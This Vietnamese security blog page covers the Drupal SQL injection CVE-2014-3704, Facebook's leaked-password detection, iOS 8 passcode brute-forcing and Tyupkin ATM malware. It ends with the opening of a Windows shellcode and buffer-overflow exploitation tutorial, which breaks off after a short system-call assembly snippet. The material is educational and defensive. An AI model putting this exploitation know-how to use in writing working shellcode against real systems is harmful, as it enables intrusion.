Keyz Cenly Blog: Bảo Mật

Phân tích lỗ hổng SQLi nghiêm trọng trong Drupal dễ dàng bị khai thác

<div dir="ltr" style="text-align: left;font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;" trbidi="on"><strong>Một lỗ hổng nguy hiểm trong Drupal cho phép tạo mới các tài khoản quản trị của hệ thống. Hiện Drupal đã phát hành một phiên bản mới của Drupal bạn nên cập nhật ngay phiên bản mới để đảm bảo an toàn cho hệ thống của mình.</strong><br />
Nguy cơ bảo mật này được đánh số mã CVE là CVE-2014-3704 và có khả năng tiến hành một cuộc tấn công khai thác SQL thông qua các request được thiết kế đặc biệt. Nhóm nghiên cứu an ninh Drupal trong bản tư vấn cho biết cuộc tấn công khai thác lỗ hổng này “có thể dẫn các hình thức sự leo thang đặc quyền”, sự khác biệt duy nhất được tạo ra do nội dung gửi lên của các của các yêu cầu HTTP.<br />
<h4>Phân tích lỗ hổng</h4>Khai thác lỗ hổng hacker có thể dễ dàng tạo được một tải khoản với quyền administrator, quyền cao nhất trên hệ thống website. Mã khai thác của lỗ hổng này đã được công khai và nhiều các công cụ khai thác tự động được viết bằng PHP, Python đã được chia sẻ trên mạng. SecurityDaily đã thử nghiệm khai thác thành công trên các phiên bản cũ của Drupal.<br />
Lợi dụng lỗ hổng SQL Injection trong việc xử lý biến GET gửi từ trình duyệt, hacker sẽ thêm vào các lệnh SQL như INSERT hay UPDATE để tạo mới hoặc sửa các tài khoản quản trị đã có. Tuy nhiên, các công cụ khai thác tự động sẽ gặp trở ngại khi hệ thống được cấu hình giá trị <strong>$salt </strong>( giá trị được sử dụng trong hàm Hash để mã hóa mật khẩu trước khi lưu vào cơ sở dữ liệu). Tuy nhiên, hacker vẫn có thể có cách để khai thác thủ công và bypass cơ chế này.<br />
<strong>Vấn đề là đặc biệt nghiêm trọng </strong><br />
Drupal là một mã nguồn mở CMS (hệ thống quản lý nội dung) mà hàng triệu trang web trên toàn thế giới dựa vào. Các lỗ hổng hiện nay, ảnh hưởng đến các phiên bản 7.x và 7.32 về cơ bản cho phép tội phạm mạng chiến được quyền quản trị và thực hiện các hoạt động phi pháp, như phát tán phần mềm độc hại cho người dùng truy cập hoặc điều hướng họ đến các trang web độc hại khác.<br />
<h4>Khắc phục</h4>Bạn nên tiến hành cập nhật lên phiên bản mới nhất của Drupal để cập nhật bản vá cho lỗ hổng. Ngoài ra, bạn cũng nên kiểm tra danh sách tài khoản quản trị của hệ thống, để loại bỏ các tài khoản có thể đã được thêm bởi tin tặc.</div>

Phân tích lỗ hổng SQLi nghiêm trọng trong Drupal dễ dàng bị khai thác

Một lỗ hổng nguy hiểm trong Drupal cho phép tạo mới các tài khoản quản trị của hệ thống. Hiện Drupal đã phát hành một phiên bản mới của Drup...

Facebook phát triển công cụ phát hiện mật khẩu bị đánh cắp

<div dir="ltr" style="text-align: left;" trbidi="on"><a href="http://securitydaily.net/wp-content/uploads/2014/10/facebook-logo-680x400.jpg"><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><img alt="Facebook phát triển công cụ phát hiện mật khẩu bị đánh cắp" class="aligncenter wp-image-8233 size-full" height="400" src="http://securitydaily.net/wp-content/uploads/2014/10/facebook-logo-680x400.jpg" width="680" /></span></a><br />
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Khi thông tin của của hàng triệu hay thậm chí là hàng tỷ tên người dùng đi kèm với mật khẩu bị đánh cắp và được đưa lên Pastebin, Github hoặc một diễn đàn của nào đó của các hacker rất nhiều nạn nhân đã lên tiếng về điều này. Và đa phần những nạn nhân thường lo lắng tự hỏi liệu danh tính và thông tin cá nhân của họ có nguy cơ bị lộ hay không?</span><br />
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Với hơn 1 tỷ người dùng hàng tháng hoạt động trên toàn thế giới, Facebook đã tiến hành các bước để giảm bớt cảm giác lo lắng đó cho người sử dụng, nhiều người trong số họ có khả năng tái sử dụng các thông tin tương tự ở nhiều nơi khác chứ không chỉ riêng mạng xã hội.</span><br />
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Công ty công bố ngày hôm nay rằng họ đã xây dựng một công cụ mà sẽ kiểm tra việc đăng công khai thông tin và tự động thông báo về tài khoản nếu các thông tin Facebook của họ đã được đưa lên mạng.</span><br />
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Đây là một phản ứng nhanh chóng về việc vi phạm hàng loạt dữ liệu gần đây gây ảnh hưởng nghiêm trọng tới các nhà bán lẻ lớn, điển hình như Home Depot, siêu thị Supervalu, DropBox và nhiều mục tiêu khác. Hầu hết là bị mất không chỉ thông tin thẻ thanh toán mà còn dữ liệu cá nhân. Theo như báo cáo các hành vi trộm cắp dữ liệu cá nhân (tên, địa chỉ gửi thư, địa chỉ email, số điện thoại) của 70 triệu người, ngoài ra còn 40 triệu giao dịch thẻ thanh toán đã bị đánh cắp.</span><br />
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Vấn đề trở nên tồi tệ hơn lại là việc tái sử dụng mật khẩu. Với người tiêu dùng đặc biệt nhiều mật khẩu được tái sử dụng trên bất kỳ các trang web bao gồm cả các giao dịch quan trọng như ngân hàng, các mạng xã hội, chơi game và các trang tin tức. Những rủi ro là hiển nhiên với việc tái sử dụng mật khẩu trong đó nếu một hacker có thể ăn cắp được quyền truy cập tài khoản Facebook của bất kỳ một ai đó. Không có gì có thể ngăn cản được họ sử dụng chính tên truy cập mà mật khẩu đó cho các dịch vụ khác như Gmail, các trang web tài chính hoặc bất cứ đâu mà có lợi cho họ.</span><br />
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Facebook sẽ đưa vào hệ thống của mình vào cuối tháng 11, tìm kiếm dữ liệu bị đánh cắp vào tháng 10 tại Adobe – nơi có hơn 3 triệu người dùng bị đánh cắp thông tin. Người dùng sẽ được yêu cầu lặp đi lặp lại các thông tin để thiết lập lại mật khẩu của chính họ.</span></div>

Facebook phát triển công cụ phát hiện mật khẩu bị đánh cắp

Khi thông tin của của hàng triệu hay thậm chí là hàng tỷ tên người dùng đi kèm với mật khẩu bị đánh cắp và được đưa lên Pastebin, Github ho...

Passcode 4 ký tự là điểm yếu bảo mật trên iOS 8

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br /><b>Việc hiếm khi sử dụng mật khẩu mạnh dù iOS 8 có tùy chọn này khiến cho thiết bị của người dùng có nhiều nguy cơ bị xâm nhập và mất dữ liệu.</b><br />Theo một nghiên cứu sinh của Đại học Princeton (Mỹ), chương trình mã hóa trong iOS 8 rất mạnh mẽ, người dùng có thể lựa chọn giữa passcode với 4 ký tự và một mật khẩu dài phức tạp (password). Tuy vậy, hiếm khi họ lại chọn password, chính điều này lại vô tình gây hại cho chính bản thân mình.<br /><br />Apple đã trang bị công nghệ mã hóa dữ liệu cao cấp trên hệ điều hành mới nhất của mình để giúp bảo vệ an toàn những dữ liệu nhạy cảm. Chức năng bảo mật này cũng có thể kết hợp với phần cứng để kẻ gian khó khăn hơn nếu muốn xâm nhập. Tuy vậy, các chuyên gia nghiên cứu về bảo mật với mật khẩu tại Đại học Princeton cho biết rằng, dù có phương thức bảo vệ mới, dữ liệu trên iOS vẫn dễ bị tấn công trong một số trường hợp nhất định.<br /><br />Có thể những mật mã đơn giản (passcode) sẽ hơi khó khăn nếu bạn tự dò nhưng với những hacker chuyên nghiệp thì không phải là vấn đề lớn, vì sẽ có sự trợ giúp của những thiết bị xử lý mật mã.<br /><br /><br /><br /><img src="http://www.pcworld.com.vn/files/articles/2014/1236329/18zqziz13aqbopng.png" /><br />Dùng kết hợp mật khẩu với bảo vệ bằng dấu vân tay để đảm bảo an toàn cho iPhone.<br /><br /><br /><br />Nếu iPhone bị mất cắp trong tình trạng tắt nguồn, nếu không có bất cứ động thái nào tác động đến bộ đồng xử lý mật mã (cryptographic co-processor) có tên "Secure Enclave" thì hacker không có nhiều cơ hội hơn để phá vỡ mật khẩu của thiết bị iOS.<br /><br />Tuy nhiên nếu kẻ tấn công có thể khởi động điện thoại lên là truy cập vào Secure Enclave thì lúc này có thể đoán được mật khẩu và thực hiện các tấn công “brute-force” để khai thác những điểm yếu của thiết bị.<br /><br />Apple đảm bảo an toàn cho thiết bị khi không cho phép bất cứ phương thức nào nhằm mục đích copy dữ liệu từ iPhone, thông qua một firmware hay một hệ điều hành bên ngoài.<br /><br />Về lý thuyết thì nếu kẻ tấn công sẽ truy cập được vào thiết bị nếu kiểm soát được chế độ Secure Boot (chế độ khởi động an toàn của iOS).<br /><br />Mặc định, Apple yêu cầu người dùng thiết lập mã bảo vệ đơn giản (passcode) cho thiết bị, nhưng bên trong vẫn có tùy chọn cho mật khẩu nâng cao với mức an toàn cao hơn. Về lý thuyết, nếu mã passcode 4 chữ số thì hacker có thể đoán 10.000 mã PIN ngẫu nhiên trong 13 phút (nếu nhập liên tục) và 14 giờ với tốc độ chậm hơn là có thể phá được.<br /><br />Apple cũng có chế độ khóa máy để làm chậm tốc độ nhập mật mã nếu sai liên tục. Điều này sẽ khiến hacker vất vả nhưng họ luôn có cách của mình để “phá rào”.<br /><br />Do đó, để đảm bảo an toàn cho thiết bị iOS, kể cả iOS 8 thì người dùng nên thiết lập mật mã nâng cao với nhiều ký tự, số và ký tự đặc biệt. Chỉ có thế thì những dữ liệu nhạy cảm mới được an toàn dù hacker có dùng mọi cách để xâm nhập.<br /><br /><br /><br />Theo PCWorld</span></div>

Passcode 4 ký tự là điểm yếu bảo mật trên iOS 8

Việc hiếm khi sử dụng mật khẩu mạnh dù iOS 8 có tùy chọn này khiến cho thiết bị của người dùng có nhiều nguy cơ bị xâm nhập và mất dữ liệu....

ATM Malware “kiếm tiền” cho hacker

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe-ONEgCEl3Ap2qvnkA7kjeJGmvpYf4HuLJxE84rz5P4Nv3XXwUeocGaC9YVqPlAHJtClpW_9y3Zld1tUb_NeREpZ5hMJMPJrOXhjsZSAlQ1Nmx7RummkNx8QfydyNZciRhUmh4DuSMwo/s1600/atm.jpg"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe-ONEgCEl3Ap2qvnkA7kjeJGmvpYf4HuLJxE84rz5P4Nv3XXwUeocGaC9YVqPlAHJtClpW_9y3Zld1tUb_NeREpZ5hMJMPJrOXhjsZSAlQ1Nmx7RummkNx8QfydyNZciRhUmh4DuSMwo/s1600/atm.jpg" /></a><br /><br /><br />Những chuyên gia của Kaspersky Lab đã tiến hành một cuộc điều tra nhằm vào các máy ATM trên khắp thế giới. Trong quá trình điều tra họ đã phát hiện ra một mẫu mã độc mới cho phép hacker có thể rút tiền trực tiếp từ các máy ATM tồn tại trong nhiều hệ thống ATM khắp thế giới (nhiều nhất là ở Nga). Ngay khi phát hiện được mẫu mã độc này, Kaspersky Lab và INTERPOL đã gửi cảnh báo đến tất cả các hệ thống ngân hang mà họ đã điều tra.<br />Thủ đoạn của attacker là hoạt động vào tối Chủ Nhật và Thứ Hai đầu tuần (hai ngày này thường là thời điểm nhiều người đến rút tiền nhất).</span><h3 style="text-align: left;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Quá trình tấn công như thế nào</span></h3>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Quá trình phạm tội này chia làm hai giai đoạn. Đầu tiên cần phải có một kết nối vật lý đến máy ATM, sau đó cài mã độc vào máy ATM thông qua đĩa CD. Kaspersky Lab đặt tên cho nó là Tynpkin. Sau khi hoàn thành quá trình cài đặt, lúc này máy ATM đã hoàn toàn chịu sự khống chế của attacker.<br />Lúc này máy ATM sẽ chạy một vòng lặp vô hạn để lắng nghe các lệnh từ người điều khiển và để khó khan hơn trong quá trình phát hiện mã độc được lập trình để chỉ có thể lắng nghe vào buổi tối hai ngày là Chủ nhật và thứ Hai.<br />Thông qua đoạn video thu được trong camera an ninh của máy ATM, các chuyên gia nhận định rằng mỗi lần attacker đến rút tiền cần phải nhập một tổ hợp số ngẫu nhiên nào đó, việc này nhằm tránh tình trạng ai đó vô tình thực hiện được quá trình tấn công và làm lộ bí mật. Tổ hợp số này sẽ do một attacker khác thông báo qua điện thoại. Nghĩa là luôn luôn phải có 2 gã mới có thể thực hiện được cuộc tấn công.<br />Khi nhập đúng mã, giao diện mát  ATM sẽ cho attacker biết còn lại bao nhiêu tiền mặt bên trong máy giúp attacker chọn lựa ngăn nào để “rút tiền” thậm chí không cần dùng tới thẻ ATM<br /><br /><br /><a href="http://cdn-static.zdnet.com/i/r/story/70/00/034416/tyupkin31-578x771.jpg?hash=Zwp2ZQp4MQ&upscale=1"><img border="0" src="http://cdn-static.zdnet.com/i/r/story/70/00/034416/tyupkin31-578x771.jpg?hash=Zwp2ZQp4MQ&upscale=1" /></a><br /><br /></span><h3 style="text-align: left;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Tynpkin Malware</span></h3>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Kaspersky Lab’s Global Research and Analysis Team cho biết qui trình tấn công vào các hệ thống ATM di động đã chuyển biến từ việc tấn công từ xa (trước đây thường là tấn công vào server chứa thông tin tài khoản, làm giả thẻ tín dụng và thực hiện việc rút tiền)trở thành việc tấn công có chủ đích nhằm vào chính các hệ thống hạ tầng máy ATM mà Tynpkin là một ví dụ dễ thấy nhất<br />Vicente Diaz – Nhà nghiên cứu an ninh chính của Kaspersky Lab’s Global Research and Analysis Team khuyến cáo các ngân hang nên xem xét kiểm tra các kết nối vật lý đến máy ATM của mình ngay lập tức và đầu tư các giải pháp bảo mật an ninh hơn<br />Sanjay Virmani, Giám đốc Trung tâm tội phạm kỹ thuật số INTERPOL cho biết tội phạm này càng phát triển các kỹ thuật cao hơn để phạm tội.</span><h3 style="text-align: left;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Các ngân hàng nên làm gì</span></h3>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">_ Xem xét lại các kết nối vật lý của họ và đầu tư cho một giải pháp an ninh chất lượng hơn<br />_ Thay thế tất cả các khóa, master key.. mặc định từ nhà sản xuất<br />_ Lắp đặt các thiết bị báo động, và nên chắc rằng nó hoạt động tốt bởi các nhà nghiên cứu đã thấy rằng cuộc tấn công thành công một phần là do không có các biện pháp báo động<br />_ Thay đổi mật khẩu BIOS của máy ATM<br />_ Đảm bảo các máy ATM cũng được cập nhật các phần mềm chống virus<br />_ Để đảm bảo máy ATM của hệ thống bạn không nhiễm loại mã độc này, có thể dùng công cụ Kaspersky Virus Removal Tool để kiểm tra.<br />Sau đây là một video mô tả quá trình tấn công<br /><a href="http://www.youtube.com/watch?v=QZvdPM_h2o8&feature=youtu.be">http://www.youtube.com/watch?v=QZvdPM_h2o8&feature=youtu.be</a><br />Nguồn:<br /><a href="http://www.kaspersky.com/about/news/virus/2014/Infected-ATMs-give-away-millions-of-dollars-without-credit-cards-around-the-globe">http://www.kaspersky.com/about/news/virus/2014/Infected-ATMs-give-away-millions-of-dollars-without-credit-cards-around-the-globe</a></span></div>

ATM Malware “kiếm tiền” cho hacker

Những chuyên gia của Kaspersky Lab đã tiến hành một cuộc điều tra nhằm vào các máy ATM trên khắp thế giới. Trong quá trình điều tra họ đã p...

Windows Shell Code và Ứng dụng khai thác lỗi tràn bộ đệm – Phần 2

Windows Shell Code và Ứng dụng khai thác lỗi tràn bộ đệm – Phần 2

Chào các bạn, tiếp tục chủ đề về “Windows Shell Code và Ứng dụng khai thác lỗi tràn bộ đệm”. Hôm nay chúng ta tiếp tục giải quyết các vấn ...

Windows shellcode và ứng dụng khai thác lỗi tràn bộ đệm

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Hôm nay tôi xin chia sẻ tới các bạn loạt các bài viết về chủ đề “Windows shellcode và ứng dụng khai thác lỗi tràn bộ đệm”. Những bài viết này tôi đã thực hiện cách đây 5 năm và hôm nay tôi sẽ biên tập lại để chia sẻ tới tất cả các bạn, những người quan tâm đến “lỗ hổng phần mềm”, “khai thác”, “shellcode”.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bài viết của tôi sẽ bao gồm các thành phần sau đây:</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">I. Khái niệm</strong></div>
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">II. Shellcode cơ bản</strong></div>
<ol style="box-sizing: border-box; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">System Calls & Shellcode</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">API & Shellcode</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Lấy địa chỉ hàm trong Shellcode</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Mã hóa shellcode</strong></li>
</ol>
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">III. Shellcode nâng cao</strong></div>
<ol style="box-sizing: border-box; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Ý tưởng</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Tìm kiếm địa chỉ Kernel32.dll</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Process Enviroment Block</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Structured Exception Handling</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">TOPSTACK</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Lấy địa chỉ hàm bên trong Kernel32.dll</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">Tối ưu độ dài của Shellcode</strong></li>
</ol>
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">IV. Các shellcode phổ biến</strong></div>
<ol style="box-sizing: border-box; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">MessageBox Shellcode Version 1</strong></li>
<li style="box-sizing: border-box;"><strong style="box-sizing: border-box; color: black;">MessageBox Shellcode Version 2</strong></li>
</ol>
</blockquote>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Hi vọng các bạn sẽ thu được những kiến thức hữu ích qua các bài viết này. Những kiến thức mà tôi đã tích lũy được trong suốt 8 năm nghiên cứu về an toàn thông tin, khai thác lỗ hổng phần mềm.</div>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
1. Khái niệm</h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khai thác lỗi tràn bộ đệm cho phép kẻ tấn công chiếm quyền điều khiển chương trình bị lỗi hay chính xác là có thể điều khiển con trỏ lệnh của chương trình đó. Như vậy, sau khi đã thực hiện việc khai thác và chiếm được quyền điều khiển con trỏ lệnh, kẻ tấn công cần phải thực thi thực hiện đoạn chương trình nào đó cho phép chiếm quyền điều khiển hệ thống. Đoạn chương trình này chính là Shellcode.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Shellcode là một đoạn mã máy nhỏ cho phép thực hiện chỉ một nhiệm vụ nào đó bên trong một chương trình bị khai thác. Nhiệm vụ đó có thể đơn giản là đưa ra thông báo (MessageBox), có thể là tạo User, cài đặt trojan… Bài viết này sẽ hướng dẫn cách viết một shellcode từ đơn giản đến nâng cao.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bài viết yêu cầu người đọc phải biết khái niệm về các ngôn ngữ Assembly32 cho bộ vi xử lý 8086 của intel, lập trình API cho Windows 9x và Windows NT.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Một số công cụ yêu cầu :</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">NASM32 & MakeShell</li>
<li style="box-sizing: border-box;">OllyDbg</li>
<li style="box-sizing: border-box;">Hiew</li>
<li style="box-sizing: border-box;">Depends (một công cụ trong bộ Visual Studio 6.0)</li>
<li style="box-sizing: border-box;">MSDN</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
2. Shellcode cơ bản</h4>
<h5 style="background-color: white; box-sizing: border-box; color: #777777; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-weight: 300; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
System Calls & Shellcode</h5>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
System calls (SysCall) hay hàm gọi hệ thống là một kỹ thuật cho phép chương trình user-mode gọi một thủ tục của Kernel cho phép thao tác vào ra trực tiếp với hệ thống. SysCall có thể hiểu là một cổng trung gian giữa<em style="box-sizing: border-box;">User-mode</em> và <em style="box-sizing: border-box;">Kernel-mode</em>. Để hiểu về SysCall, ta có thể nhìn hình dưới đây :</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<a href="http://securitydaily.net/wp-content/uploads/2014/10/ShellCode1.gif" rel="lightbox[gallery-nFIm]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="Bui Quang Minh: Windows shellcode và ứng dụng khai thác lỗi tràn bộ đệm" class="alignnone wp-image-7746 size-full" height="395" src="http://securitydaily.net/wp-content/uploads/2014/10/ShellCode1.gif" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="531" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
Hình 1 : Hoạt động của System Calls</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
SysCall làm nhiệm vụ trung gian nhận lời gọi API từ ứng dụng <em style="box-sizing: border-box;">User-mode</em>, tìm kiếm chỉ số hàm <em style="box-sizing: border-box;">Kernel</em> trong<em style="box-sizing: border-box;">System Call Table</em>, thực thi hàm đó rồi trả lại kết quả cho ứng dụng. Việc nhận lời gọi API từ ứng dụng thực ra là nó nhận được ngắt từ ứng dụng, SysCall gọi trình phục vụ ngắt thực hiện chuyển đổi dữ liệu của API (tham số, cờ, thanh ghi…) từ <em style="box-sizing: border-box;">User Stack</em> sang <em style="box-sizing: border-box;">Kernel Stack</em>.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong Windows, SysCall cho phép quản lý bộ nhớ, vào ra dữ liệu, quản lý thư mục, quản  lý tiến trình, … Tuy nhiên, đa phần API có giao tiếp SysCall đều là các hàm Undocument.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ngắt được sử dụng để yêu cầu SysCall :</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Windows 2000  : “<em style="box-sizing: border-box;">int 0x2e</em>”</li>
<li style="box-sizing: border-box;">Windows XP     :  <em style="box-sizing: border-box;">SYSENTER</em></li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Như vậy, Dựa vào cơ chế của System Call, ta có thể viết Shellcode bằng cách gọi hàm bởi chỉ số của hàm bên trong bảng <em style="box-sizing: border-box;">System Call Table</em>. Đoạn asm dưới đây thực hiện kết thúc tiến trình bằng cách gọi API ntTerminalProcess với số SysCall của nó:</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<em style="box-sizing: border-box;">            MOV    EAX, 0x000000bb     ; 0xbb là số SysCall hàm ntTerminalProcess</em></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<em style="box-sizing: border-box;">            LEA     EDX, [ESP+4]          ; EDX lưu tham số của hàm</em></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<em style="box-sizing: border-box;">            INT       0x2E                            ; Gọi Syscall thực hiện hàm</em></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Với số lượng SysCall tương đối trong Windows, ta có thể thực hiện viết Shellcode chỉ thông qua SysCall. Tuy nhiên, Việc viết shellcode như vậy có cả ưu điểm và hạn chế:</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;"><em style="box-sizing: border-box;">Ưu điểm</em></strong>:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Không cần sử dụng của hàm API, cụ thế là không cần xác định   địa chỉ  của các hàm API.</li>
<li style="box-sizing: border-box;">Có thể sử dụng để vượt qua cơ chế bảo vệ chống tấn công tràn bộ đệm ở user-mode.</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;"><em style="box-sizing: border-box;">Nhược điểm</em></strong>:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Giới hạn khả năng làm việc của Shellcode vì số lượng SysCall là có hạn (trong Windows khoảng hơn 1000)</li>
<li style="box-sizing: border-box;">Vì các hàm socket API không được Windows hỗ trợ giao tiếp SysCall nên Shellcode sử dụng SysCall không có khả năng làm việc với mạng.</li>
</ul>
<h5 style="background-color: white; box-sizing: border-box; color: #777777; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-weight: 300; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box; color: black;">2. API & Shellcode</strong></h5>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
